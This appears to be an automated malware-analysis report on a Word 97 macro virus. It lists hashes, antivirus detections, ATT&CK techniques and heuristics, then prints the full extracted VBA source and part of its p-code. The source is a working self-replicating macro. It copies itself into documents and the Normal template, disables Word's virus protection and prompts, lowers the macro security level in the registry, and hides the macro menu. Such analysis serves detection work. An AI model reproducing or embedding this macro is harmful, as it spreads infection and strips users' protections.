Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 697e85750fcdf43d…

MALICIOUS

Office (OLE)

34.5 KB Created: 2003-12-25 21:39:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a157f9681de6a74744b784200f21e2ce SHA-1: a1bae30754ed11956c81709e49269869083ced2d SHA-256: 697e85750fcdf43dc08ded446dd0724eb12a56ac016ab1d4c24bb9f2d7bf34f3
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1566.001 Spearphishing Attachment

The sample contains VBA macros that execute automatically via the Document_Open subroutine. These macros attempt to disable macro security settings and modify the document's own code, indicating a malicious intent to evade detection and potentially download or execute further payloads. The ClamAV detections 'Win.Trojan.Psycho-3' and 'Doc.Trojan.Onex-1' further support its classification as malware.

Heuristics 4

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5432 bytes
SHA-256: ec23804c2ee3590ee5223b93e8fe648ba94b3311fe1b3bf90ac2412cef799b10
Detection
ClamAV: Doc.Trojan.Onex-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
VERSION 1.0 CLASS
BEGIN
  MultiUse = -1  'True
End
Attribute VB_Name = "Extra"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Private Sub Document_Open()
 On Error Resume Next
 Set c = New DataObject
  If ActiveDocument.VBProject.VBComponents(1).Name <> "Extra" Then
    Set go = ActiveDocument.VBProject.VBComponents(1)
    saveit = True
   ElseIf NormalTemplate.VBProject.VBComponents(1).Name <> "Extra" Then
    Set go = NormalTemplate.VBProject.VBComponents(1)
  End If
  With go
   c.SetText Extra.VBProject.VBComponents(1).CodeModule.lines(1, Extra.VBProject.VBComponents(1).CodeModule.countoflines)
   .CodeModule.deletelines 1, .CodeModule.countoflines
   .CodeModule.insertlines 1, c.GetText
   .Name = "Extra"
  End With
 Options.ConfirmConversions = 0
 Options.SaveNormalPrompt = 0
 Options.VirusProtection = 0
  If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
     CommandBars("Macro").Controls("Security...").Enabled = 0
     System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
  End If
 CommandBars("Tools").Controls("Macro").Enabled = 0
  If saveit = True Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub
' Word 97/2k.Extra - Psyclone X
' My first virus for the year 2k

' Processing file: /opt/analyzer/scan_staging/0e123ef68bd14f7ab84ae27042944bde.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 8536 bytes
' Line #0:
' 	Reparse 0x0011 "VERSION 1.0 CLASS"
' Line #1:
' 	ArgsCall BEGIN 0x0000 
' Line #2:
' 	LitDI2 0x0001 
' 	UMi 
' 	St MultiUse 
' 	QuoteRem 0x0011 0x0004 "True"
' Line #3:
' 	End 
' Line #4:
' 	Reparse 0x001B "Attribute VB_Name = "Extra""
' Line #5:
' 	Reparse 0x0024 "Attribute VB_GlobalNameSpace = False"
' Line #6:
' 	Reparse 0x001E "Attribute VB_Creatable = False"
' Line #7:
' 	Reparse 0x0021 "Attribute VB_PredeclaredId = True"
' Line #8:
' 	Reparse 0x001B "Attribute VB_Exposed = True"
' Line #9:
' 	FuncDefn (Private Sub Document_Open())
' Line #10:
' 	OnError (Resume Next) 
' Line #11:
' 	SetStmt 
' 	New <crash>
' 	Set c 
' Line #12:
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0005 "Extra"
' 	Ne 
' 	IfBlock 
' Line #13:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	Set GoSub 
' Line #14:
' 	LitVarSpecial (True)
' 	St saveit 
' Line #15:
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0005 "Extra"
' 	Ne 
' 	ElseIfBlock 
' Line #16:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	Set GoSub 
' Line #17:
' 	EndIfBlock 
' Line #18:
' 	StartWithExpr 
' 	Ld GoSub 
' 	With 
' Line #19:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld Extra 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	MemLd countoflines 
' 	LitDI2 0x0001 
' 	Ld Extra 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd lines 0x0002 
' 	Ld c 
' 	ArgsMemCall SetText 0x0001 
' Line #20:
' 	LitDI2 0x0001 
' 	MemLdWith CodeModule 
' 	MemLd countoflines 
' 	MemLdWith CodeModule 
' 	ArgsMemCall deletelines 0x0002 
' Line #21:
' 	LitDI2 0x0001 
' 	Ld c 
' 	MemLd GetText 
' 	MemLdWith CodeModule 
' 	ArgsMemCall insertlines 0x0002 
' Line #22:
' 	LitStr 0x0005 "Extra"
' 	MemStWith New 
' Line #23:
' 	EndWith 
' Line #24:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #25:
' 	LitDI2 0x0000 
' 
... (truncated)

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